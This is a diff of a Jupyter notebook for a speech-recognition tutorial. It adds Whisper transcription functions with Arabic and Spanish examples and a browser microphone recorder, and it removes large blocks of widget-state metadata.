"c32e11c41bb34c68a339e9ed9a713fbc", - "7172e9a2593b4210ba309e6bdb4dc187", - "29f9a88a8b9741ba9f656e88be31b67f", - "3b2c2a7b03fb4b64857ef1da1cff90ec", - "f602a96212f64ff0b2c7430e9e402855", - "1a3c25f5cf92427eaddec3acf849f04b", - "39bcdcc9f44949889ab68ea961bc9cbf", - "7af8e7f6e148418f880e86685f65acaf", - "25d85c7ae4db4347a0563773aca93fe8", - "524e25298b9944a0b27ee4ebe8a5526e", - "b9326a9c7f594cda90f683e299928300", - "24690773f20c4f1a917b0e847c254423", - "d094c60966894d87b89a3f690bed522c", - "249faed19a95434ba146a227a0f14dba", - "59d686351f37454e96821ca29ceff7ee", - "c82cc9105e684f14a6a4c2b6a0d2b0c5", - "e03c1e027d5c414394cae1688974e8dd", - "3ac0ec899a3d46fc85fa634326665e1b", - "04614cbf754241899b0d8513e23851ed", - "72ebaf4b55314d599b8165f706a49230", - "0489efb30abc428582a028a93d228ed5", - "444cd62dd6f345d9a714085ea14c1682", - "ca8a8d5d3e2a42638f1b68050fcce963", - "66c8cada44244df18c473fd868ea0a8a", - "5f55acf0d5ce40279d21e48b5ac4345c", - "f69d665f4fcc401397d0091dc425b001", - "b5f26ca150b24c9e918a14acac198f54", - "eec27fed27e24c27be025c83d22b61cf", - "dafb418d0995486cb4d3099d23ec67b8", - "9f121c61473b4a8b8eeff16b4b6f9d5d", - "c66ba171d6864e76b33884dcc53b1d1c", - "e61138f39e7641ec93671c21a645720a" - ] - }, - "id": "OXVa9QG2cmD7", - "outputId": "ac34bf2c-a409-4510-dc65-ba6838253fde" + "id": "OXVa9QG2cmD7" }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "45eeb549b03649d9be138001aeb7843c", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "Downloading: 0%| | 0.00/291 [00:00<|en|><|transcribe|><|notimestamps|> and Mrs. Goddard, three ladies almost always at the service of an invitation from Hartfield, and who were fetched and carried home so often that Mr. Woodhouse sought it no hardship for either James or the horses. Had it taken place only once a year it would have been a grievance.<|endoftext|>']" + ] + }, + "execution_count": 18, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False)\n", + "transcription" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": { + "id": "V1MIY7i37bg5" + }, + "outputs": [], + "source": [ + "def get_transcription_whisper(audio_path, model, processor, language=\"english\", skip_special_tokens=True):\n", + " # resample from whatever the audio sampling rate to 16000\n", + " speech = load_audio(audio_path)\n", + " input_features = processor(speech, return_tensors=\"pt\", sampling_rate=16000).input_features.to(device)\n", + " forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task=\"transcribe\")\n", + " # print(forced_decoder_ids)\n", + " predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids)\n", + " transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0]\n", + " return transcription" ] }, { "cell_type": "code", - "execution_count": 103, + "execution_count": null, "metadata": { "colab": { "base_uri": "https://localhost:8080/", - "height": 102 + "height": 35 }, - "id": "HPJwZgYh7Ph3", - "outputId": "71d2008a-a94e-4b66-c501-27034e50c0d7" + "id": "04bekvh4GEQN", + "outputId": "1edc0912-de09-4a69-b8c4-ca3fb7130c28" }, "outputs": [ { @@ -603,1713 +551,393 @@ "type": "string" }, "text/plain": [ - "\"albertanstein was a german born theoretical physicist widely acknowledged to be one of the greatest physicists of all time anstein is best known for developing the theory of relativity but he also made important contributions to the development of the theory of quanto mechanics relativity and quantom mechanics are together the two pillars of modern physics his mass energy equivalent formula e equals m c squared which arises from relativity theory has been dubbed the world's most famous equation his work is also known for its influence on the philosophy of science he received the one thousand nineteen twenty one noble prize in physics for his serv\"" + "' ورجح التقرير الذي أعده معهد أبحاث هضبة التبت في الأكاديمية الصينية للعلوم أن تستمر درجات الحرارة ومستويات الرتوبة في الارتفاع طوال هذا القرن.'" ] }, - "execution_count": 103, + "execution_count": 23, "metadata": {}, "output_type": "execute_result" } ], "source": [ - "get_transcription(\"recorded.wav\")" + "arabic_transcription = get_transcription_whisper(\"https://datasets-server.huggingface.co/assets/arabic_speech_corpus/--/clean/train/0/audio/audio.wav/",\n", + " whisper_model,\n", + " whisper_processor,\n", + " language=\"arabic\",\n", + " skip_special_tokens=True)\n", + "arabic_transcription" ] }, { "cell_type": "code", "execution_count": null, "metadata": { - "id": "-AWFT-oZPcFs" + "colab": { + "base_uri": "https://localhost:8080/", + "height": 35 + }, + "id": "FAHA98CgHols", + "outputId": "7ea44035-e008-4ff2-9727-46706e725f73" }, - "outputs": [], - "source": [] - } - ], - "metadata": { - "colab": { - "machine_shape": "hm", - "name": "AutomaticSpeechRecognition-PythonCodeTutorial.ipynb", - "provenance": [] - }, - "kernelspec": { - "display_name": "Python 3", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 + "outputs": [ + { + "data": { + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + }, + "text/plain": [ + "' ¿Cuál es la fecha de tu cumpleaños?'" + ] + }, + "execution_count": 24, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "spanish_transcription = get_transcription_whisper(\"https://www.lightbulblanguages.co.uk/resources/sp-audio/cual-es-la-fecha-cumple.mp3/",\n", + " whisper_model,\n", + " whisper_processor,\n", + " language=\"spanish\",\n", + " skip_special_tokens=True)\n", + "spanish_transcription" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "QTZlrT-B21VC" }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.7" + "outputs": [], + "source": [ + "from transformers.models.whisper.tokenization_whisper import TO_LANGUAGE_CODE \n", + "# supported languages\n", + "TO_LANGUAGE_CODE " + ] }, - "widgets": { - "application/vnd.jupyter.widget-state+json": { - "04614cbf754241899b0d8513e23851ed": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "6cZZ7MeTUv0S" + }, + "source": [ + "# Transcribe your Voice" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" }, - "0489efb30abc428582a028a93d228ed5": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } + "id": "3FdjIsOlKBRJ", + "outputId": "5df28a41-0943-4d6f-c7b3-446b26c9c906" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "/content/silero-models\n" + ] + } + ], + "source": [ + "!git clone -q --depth 1 https://github.com/snakers4/silero-models\n", + "\n", + "%cd silero-models" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 110, + "referenced_widgets": [ + "1c348712a37045239a35b41430756d4d", + "32d1d0fb4ee748108d01fa01fbfb5473", + "8035a1813fce41cfad51849aea43a446" + ] }, - "11581f616a1547e4af2fa8059361e120": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_ea67e226c77847aeb178f6d030a4b26e", - "placeholder": "​", - "style": "IPY_MODEL_ac569cb10d074b6da5033b8b3b34c731", - "value": " 162/162 [00:00<00:00, 5.39kB/s]" - } + "id": "GZTvRVznIcn_", + "outputId": "f1772b6a-6eaa-4c4e-fbaa-ccdbad8ea2c7" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Starting recording for 20 seconds...\n" + ] }, - "12b41877be1d410dbd44c54b4dfa21b1": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_fb5bf22faf6348819bf9bd484dbf05e2", - "placeholder": "​", - "style": "IPY_MODEL_4133b4fc83b64cd5918400a2541c11ad", - "value": "Downloading: 100%" - } + { + "data": { + "application/javascript": "\n const sleep = time => new Promise(resolve => setTimeout(resolve, time))\n const b2text = blob => new Promise(resolve => {\n const reader = new FileReader()\n reader.onloadend = e => resolve(e.srcElement.result)\n reader.readAsDataURL(blob)\n })\n var record = time => new Promise(async resolve => {\n stream = await navigator.mediaDevices.getUserMedia({ audio: true })\n recorder = new MediaRecorder(stream)\n chunks = []\n recorder.ondataavailable = e => chunks.push(e.data)\n recorder.start()\n await sleep(time)\n recorder.onstop = async ()=>{\n blob = new Blob(chunks)\n text = await b2text(blob)\n resolve(text)\n }\n recorder.stop()\n })\n ", + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" }, - "15b1685016ea4c27af7a73ca31e54504": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ButtonModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ButtonModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "ButtonView", - "button_style": "", - "description": "Record Speech", - "disabled": false, - "icon": "", - "layout": "IPY_MODEL_9fe212aa47694fc2a87c9f59561fa2d4", - "style": "IPY_MODEL_d65226b4aaf04587990ff1b05bc837c6", - "tooltip": "" - } + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Finished recording!\n" + ] }, - "1a3c25f5cf92427eaddec3acf849f04b": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "24690773f20c4f1a917b0e847c254423": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "249faed19a95434ba146a227a0f14dba": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "FloatProgressModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "ProgressView", - "bar_style": "success", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_04614cbf754241899b0d8513e23851ed", - "max": 1606, - "min": 0, - "orientation": "horizontal", - "style": "IPY_MODEL_3ac0ec899a3d46fc85fa634326665e1b", - "value": 1606 - } - }, - "25d85c7ae4db4347a0563773aca93fe8": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "29f9a88a8b9741ba9f656e88be31b67f": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "FloatProgressModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "ProgressView", - "bar_style": "success", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_7af8e7f6e148418f880e86685f65acaf", - "max": 85, - "min": 0, - "orientation": "horizontal", - "style": "IPY_MODEL_39bcdcc9f44949889ab68ea961bc9cbf", - "value": 85 - } - }, - "2c5a040ed23740f189c0d729386c1b71": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "39bcdcc9f44949889ab68ea961bc9cbf": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "bar_color": null, - "description_width": "" - } - }, - "3ac0ec899a3d46fc85fa634326665e1b": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "ProgressStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "bar_color": null, - "description_width": "" - } - }, - "3b08026412914f058ceccad5ca69ab9e": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "FloatProgressModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "ProgressView", - "bar_style": "success", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_2c5a040ed23740f189c0d729386c1b71", - "max": 162, - "min": 0, - "orientation": "horizontal", - "style": "IPY_MODEL_eabcbeba261740e08f09cc1513b337ad", - "value": 162 - } - }, - "3b2c2a7b03fb4b64857ef1da1cff90ec": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_524e25298b9944a0b27ee4ebe8a5526e", - "placeholder": "​", - "style": "IPY_MODEL_25d85c7ae4db4347a0563773aca93fe8", - "value": " 85.0/85.0 [00:00<00:00, 2.81kB/s]" - } - }, - "4133b4fc83b64cd5918400a2541c11ad": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "42675b60ec444fa393f48779f6a5fc59": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "444cd62dd6f345d9a714085ea14c1682": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_66c8cada44244df18c473fd868ea0a8a", - "IPY_MODEL_5f55acf0d5ce40279d21e48b5ac4345c", - "IPY_MODEL_f69d665f4fcc401397d0091dc425b001" - ], - "layout": "IPY_MODEL_ca8a8d5d3e2a42638f1b68050fcce963" - } - }, - "45eeb549b03649d9be138001aeb7843c": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_dc7a3b598c4d45bd9b8d1239c33b510b", - "IPY_MODEL_de6abb9a77ca49549a873cdf65858cda", - "IPY_MODEL_60473b3b063141699845d72b877d752a" - ], - "layout": "IPY_MODEL_9b1de65486e5484eb61ba378e9e1cefa" - } - }, - "4cdba09932964730b0917c67b10fb689": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "524e25298b9944a0b27ee4ebe8a5526e": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "59d686351f37454e96821ca29ceff7ee": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_0489efb30abc428582a028a93d228ed5", - "placeholder": "​", - "style": "IPY_MODEL_72ebaf4b55314d599b8165f706a49230", - "value": " 1.57k/1.57k [00:00<00:00, 47.9kB/s]" - } - }, - "5f55acf0d5ce40279d21e48b5ac4345c": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "FloatProgressModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "ProgressView", - "bar_style": "success", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_9f121c61473b4a8b8eeff16b4b6f9d5d", - "max": 1262055246, - "min": 0, - "orientation": "horizontal", - "style": "IPY_MODEL_dafb418d0995486cb4d3099d23ec67b8", - "value": 1262055246 - } - }, - "60473b3b063141699845d72b877d752a": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_bd82c30b3a7c45b4af2a9064339fe84e", - "placeholder": "​", - "style": "IPY_MODEL_bd6cde59f35f4022ab7e9fc3f93104a9", - "value": " 291/291 [00:00<00:00, 9.64kB/s]" - } - }, - "66c8cada44244df18c473fd868ea0a8a": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_eec27fed27e24c27be025c83d22b61cf", - "placeholder": "​", - "style": "IPY_MODEL_b5f26ca150b24c9e918a14acac198f54", - "value": "Downloading: 100%" - } - }, - "675eefa2dbdc40e0a5a5517dc9eb00d6": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HBoxModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HBoxModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HBoxView", - "box_style": "", - "children": [ - "IPY_MODEL_7172e9a2593b4210ba309e6bdb4dc187", - "IPY_MODEL_29f9a88a8b9741ba9f656e88be31b67f", - "IPY_MODEL_3b2c2a7b03fb4b64857ef1da1cff90ec" - ], - "layout": "IPY_MODEL_c32e11c41bb34c68a339e9ed9a713fbc" - } - }, - "7172e9a2593b4210ba309e6bdb4dc187": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "_dom_classes": [], - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "HTMLModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/controls", - "_view_module_version": "1.5.0", - "_view_name": "HTMLView", - "description": "", - "description_tooltip": null, - "layout": "IPY_MODEL_1a3c25f5cf92427eaddec3acf849f04b", - "placeholder": "​", - "style": "IPY_MODEL_f602a96212f64ff0b2c7430e9e402855", - "value": "Downloading: 100%" - } - }, - "72ebaf4b55314d599b8165f706a49230": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "_model_module": "@jupyter-widgets/controls", - "_model_module_version": "1.5.0", - "_model_name": "DescriptionStyleModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "StyleView", - "description_width": "" - } - }, - "7af8e7f6e148418f880e86685f65acaf": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - "align_content": null, - "align_items": null, - "align_self": null, - "border": null, - "bottom": null, - "display": null, - "flex": null, - "flex_flow": null, - "grid_area": null, - "grid_auto_columns": null, - "grid_auto_flow": null, - "grid_auto_rows": null, - "grid_column": null, - "grid_gap": null, - "grid_row": null, - "grid_template_areas": null, - "grid_template_columns": null, - "grid_template_rows": null, - "height": null, - "justify_content": null, - "justify_items": null, - "left": null, - "margin": null, - "max_height": null, - "max_width": null, - "min_height": null, - "min_width": null, - "object_fit": null, - "object_position": null, - "order": null, - "overflow": null, - "overflow_x": null, - "overflow_y": null, - "padding": null, - "right": null, - "top": null, - "visibility": null, - "width": null - } - }, - "9b1de65486e5484eb61ba378e9e1cefa": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "_model_module": "@jupyter-widgets/base", - "_model_module_version": "1.2.0", - "_model_name": "LayoutModel", - "_view_count": null, - "_view_module": "@jupyter-widgets/base", - "_view_module_version": "1.2.0", - "_view_name": "LayoutView", - 